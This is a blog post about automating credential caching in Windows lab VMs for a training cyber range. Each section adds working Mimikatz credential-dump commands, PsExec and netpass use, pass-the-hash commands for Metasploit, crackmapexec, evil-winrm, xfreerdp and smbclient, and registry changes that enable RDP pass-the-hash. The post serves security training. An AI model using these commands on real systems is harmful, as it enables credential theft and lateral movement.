Automating Caching Credentials for Cyber Ranges

Rich
7 min readDec 14, 2024

--

TL;DR howto automate caching credentials locally on Windows domain VMs in various places for cyber range purposes.

Background

Much like our recent MSSQL howto, this isn’t so much about how attackers dump credentials or how to mitigate as it is about how to automate putting something there to get dumped. We recently created Mishky’s AD Range in Hyper-V and posted the automated setup on our GitHub. We added a second forest quite recently that stresses enumeration & abuse across forest trusts, MSSQL enumeration & abuse, abusing GenericAll on a system’s AD account to gain local admin access, and enumerating & abusing AD CS.

We continue to test and refine the automated range setup. For example I discovered an issue just this week if the setup is ran via the Hyper-V role on Windows 10 Pro rather than running it via Hyper-V Server or a Windows Server with Hyper-V enabled. I troubleshot and fixed the issue by hand jamming it, but I need to test, validate, and then post to GitHub the automated version of Mishky’s AD Range that is meant to run on Windows 10 Pro.

Additionally I realized that while Mishky’s AD Range had some creativity when it came to DACL enumeration and abuse both in AD and NTFS, bypassing smartcard requirements, and forcing manual enumeration as the entire escalation path can’t be easily found via BloodHound … it lacked imagination when it came to credential dumping.

The original version of Mishky’s AD Range I posted to GitHub only included dumping credentials from the SAM and Credential Manager (credman), as well as finding credentials on a share drive. The second forest I later added only added LSA Secrets to this, and only because MSSQL puts them there by default.

But what if we want to make sure that those trying out the range are fully enumerating and dumping everything? What if we want to automate sticking credentials in places like LSA Secrets without installing a 1.2 GB package like MSSQL?

Note

All these methods assume that you have given range players a method to gain local admin access to the VM. Mishky’s AD Range is primarily about AD/Windows domain environments after all. Putting local [mis]configurations into VMs that allow local privilege escalation is perhaps a future project, but even CRTP does not stress this much.

I am probably preaching to the choir, but local admins can do pretty much anything they want locally. They can access any files and dump any stored credentials. Since defenders and system administrators alike have to ‘Assume Breach’, one should be very, very careful in a real, production, enterprise environment about where they cache credentials and what privileges that account holds.

Sysadmins do know that when they set a service or scheduled task to run as a specific user that Windows caches plaintext credentials right? Right? Ditto for configuring domain workstations to map a share drive as a different user.

Automating all this

These PowerShell snippets are put into a PS1, for example ’02 Test VM Config.ps1’, and then run on the VM using PowerShell Direct via:

Invoke-Command -VMName "Research-Test" -FilePath '.\02 Test VM Config.ps1' -Credential $CousinDomainAdminCredObject

In case any readers are just now joining us, PowerShell Direct is one of the many great features that are included in Hyper-V for free. VMware has PowerCLI, however the formerly free version of ESXi only included ‘read only’ PowerCLI. No configuration changes could be made using it, one could only run queries. This became a moot point though when Broadcom bought out VMware and ended the free version of ESXi.

SAM

This is the simplest of all, but then I have seen certification organizations confuse the SAM with NTDS.dit, so …

The SAM contains NTLM hashes of all local users and mscache hashes of Domain Users who previously logged in.

Any Domain Users who are actively logged in at that moment are in LSASS (caveat; not if they are in the Protected Users Group).

Automating current interactive logins of Domain Users is tricky, so in Mishky’s AD Range we tend to set the local admin’s password to the same as a Domain User’s. It’s on the range player to dump the SAM and then password spray any NTLM hashes they find.

Cache via:

#Last step, change the local admin's password
[string]$DSRMPassword = '<password>'
# Convert to SecureString
[securestring]$SecureStringPassword = ConvertTo-SecureString $DSRMPassword -AsPlainText -Force

Set-LocalUser -Name Administrator -Password $SecureStringPassword

Dump via:

Invoke-Mimi -Command '"token::elevate" "privilege::debug" "lsadump::sam"'
Credentials redacted in order to not spoil Mishky’s AD Range

Use via:

Metasploit PSExec (will trip Defender!):

msfconsole
use exploit/windows/smb/psexec
set RHOST 192.168.0.142
set LHOST 192.168.0.35
set SMBUser <username>
set SMBDomain us
set SMBPass <hash>
run

Crackmapexec:

crackmapexec smb 192.168.0.140–142 -u /home/kali/Range_Users.txt -H <hash>

evil-winrm:

evil-winrm -i 192.168.0.142 -u <username> -H <hash>

xfreerdp:

xfreerdp /v:192.168.0.142 /u:<username> /pth:<hash> /dynamic-resolution

smbclient (useful for poking around share drives):

smbclient \\\\192.168.0.141\\Share -U <username> --pw-nt-hash <hash> -W us.lab.local

Sitenote; before one can PTH with xfreerdp it is likely that Restricted Admin Mode must be disabled and RDP access enabled via evil-winrm:

#disable RestrictedAdmin Mode, aka allow RDP via PTH
New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa' -name 'DisableRestrictedAdmin' -PropertyType 'DWORD' -value '0' -force

#Enable RDP
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0 ; Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

Credential Manager

Altered Security, formerly named Pentester Academy, loves this one. They used it a bit on the CRTP exam back in late 2021 and used it heavily on the CRTP renewal exam in late 2024. The simplest way to cache credentials in it is to pretend that one is mapping a share drive as another user. Please note that the share drive does not have to actually exist.

Windows caches these in plaintext.

Cache via:

Install-Module -Name CredentialManager -Force -SkipPublisherCheck
New-StoredCredential -Comment "This should show up in credman" -Credentials $SQLAdminCredObject -Target "Research-DC" -Persist Enterprise | Out-Null

Dump via:

Invoke-Mimi -Command '"token::elevate" "privilege::debug" "sekurlsa::credman"'
Credentials redacted in order to not spoil Mishky’s AD Range

Scheduled Tasks

While I have not seen this one used much by Altered Security, Slayer Labs, TryHackMe, etc I cannot take much, if any credit, for the idea. I borrowed it from Warren F here.

Please note that the scheduled task doesn’t have to actually do anything, in fact it could simply run PowerShell or really any builtin Windows executable at startup. The important thing is that it runs that task as a specified user with the given credentials.

Windows caches these in plaintext.

Cache via:

$taskTrigger = New-ScheduledTaskTrigger -AtStartup
$taskAction = New-ScheduledTaskAction -Execute "PowerShell" -Argument "C:\Scripts\Generate-TrafficII.ps1"
Register-ScheduledTask 'Fat Finger the Share name, again' -Action $taskAction -Trigger $taskTrigger -User "research\MSSQL" -Password '<password>' -RunLevel Highest

Dump via:

Use PsExec to run netpass as NT AUTHORITY\SYSTEM:

.\psexec -I -s -d .\netpass-x64\netpass.exe
Credentials redacted in order to not spoil Mishky’s AD Range

LSA Secrets

Windows caches credentials in the registry for services that are set to run as a specified user. They are stored in a rather arcane format under

HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets

Windows caches these in plaintext.

Cache via:

#Create a service to run as Break.Glass
[string]$userName = "research\Break.Glass"
[string]$userPassword = '<password>'
# Convert to SecureString
[securestring]$secStringPassword = ConvertTo-SecureString $userPassword -AsPlainText -Force
[pscredential]$CousinDomainAdminCredObject = New-Object System.Management.Automation.PSCredential ($userName, $secStringPassword)

New-Service -Name "Testing Service" -BinaryPathName 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -DisplayName "Testing Service" -StartupType Automatic -Credential $CousinDomainAdminCredObject

Dump via:

Invoke-Mimi -Command '"token::elevate" "privilege::debug" "lsadump::secrets"'
Credentials redacted in order to not spoil Mishky’s AD Range

Files

I placed some credentials in various places in the range’s share drive. Attackers and malicious insiders will scan for these as users tend to write down passwords that are hard to remember. Just ask Varonis.

The below snippet is in a PS1 that is run on the VM via PowerShell Direct:

New-Item "C:\Share" -ItemType Directory
New-Item "C:\Share\ManageAD" -ItemType Directory
New-SMBShare -Name "Share" -Path "C:\Share"

This is simply run from the Hypervisor as part of the function that creates and configures the range:

Enable-VMIntegrationService "Guest Service Interface" -VMName "US-DC"
Copy-VMFile "US-DC" -SourcePath .\ShareDriveFiles.zip -DestinationPath "C:\Share\ManageAD\ShareDriveFiles.zip" -CreateFullPath -FileSource Host
Invoke-Command -VMName "US-DC" {Expand-Archive -LiteralPath "C:\Share\ManageAD\ShareDriveFiles.zip" -DestinationPath "C:\Share\ManageAD"} -Credential $ChildDomainAdminCredObject #Unzip the PS1s

A simple way to scan from Kali to grab everything you have read rights to and then grep:

smbclient \\\\192.168.0.141\\Share -U <domain>\\<username>%<password> -c 'prompt OFF;recurse ON;cd 'ManageAD';lcd '~/home/kali/Pilfered';mget *'

grep -rni "password" *

Summary

This was an interesting learning experience in automating credential caching. I also learned a new way to dump credentials used for scheduled tasks along the way. I am going to tweak Mishky’s AD Range a bit now so it includes more ways to dump credentials, as well as including MSSQL in the version that’s posted to our GitHub.

I have also been tweaking a version of the range that’s meant specifically for running on Windows 10 or 11 Pro with Hyper-V enabled. Mishky’s AD Range was created and tested on Windows Server 2019 with Hyper-V enabled and also tested on Hyper-V Server 2019. I noticed a few glitches with how I automated configuring the VM’s network settings while running the range on Windows 10 Pro with Hyper-V enabled due to how that version uses slightly different virtual switches. Naturally I also lowered the amount of RAM per VM in the Windows 10 Pro version. It will be on our GitHub once it’s done.

References

Dumping LSA: https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets

Dumping Scheduled Task passwords: https://ramblingcookiemonster.github.io/Quick-Hits-and-Some-Mischief/

netpass: https://www.nirsoft.net/utils/network_password_recovery.html

PTH cheatsheet: https://happycamper84.medium.com/smartcards-and-pass-the-hash-d2f3b433db55

--

--

Rich
Rich

Written by Rich

I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from auditing or the lab.

No responses yet